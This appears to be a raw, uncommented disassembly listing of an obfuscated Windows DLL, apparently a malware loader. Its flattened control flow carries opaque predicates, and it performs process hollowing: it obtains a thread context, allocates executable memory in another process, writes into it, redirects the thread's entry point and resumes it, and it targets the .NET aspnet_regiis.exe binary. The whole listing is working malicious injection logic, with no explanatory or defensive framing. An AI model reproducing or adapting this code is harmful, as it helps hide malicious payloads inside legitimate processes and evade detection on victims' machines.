cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x526cdf2a
mov ecx, 0x4f2f72a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
sub ecx, 0x3c80130d
add ecx, 8
add ecx, 0x3c80130d
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x128]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x148], 0x3883dd64
jmp 0x10005c05
mov eax, dword [0x10066538]
mov ecx, dword [0x10066534]
mov edx, eax
add edx, 0x2baabd24
sub edx, 1
sub edx, 0x2baabd24
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b806a0a
mov ecx, 0xe98cb9a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10005c05
mov dword [ebp - 0x148], 0x733f9af1
jmp 0x10005c05
mov dword [ebp - 0x148], 0x26b95db9
jmp 0x10005c05
mov dword [ebp - 0x148], 0x4a73bc9c
jmp 0x10005c05
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10007110
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007110
add esp, 0xc
mov dword [ebp - 0x148], 0xa2ec47f0
jmp 0x10005c05
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x148], 0x504c0bd
jmp 0x10005c05
mov eax, dword [ebp - 0xdc]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x148], 0xe2f3dd48
jmp 0x10005c05
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x148], 0x53ac0aae
jmp 0x10005c05
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x148], 0x596e59ff
jmp 0x10005c05
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x84]
add ecx, 0x5bb1e26e
add ecx, eax
sub ecx, 0x5bb1e26e
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x148], 0x969e0a36
jmp 0x10005c05
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x70]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x148], 0x706ca746
jmp 0x10005c05
mov dword [ebp - 0x148], 0xa48bc38
jmp 0x10005c05
jmp 0x10003280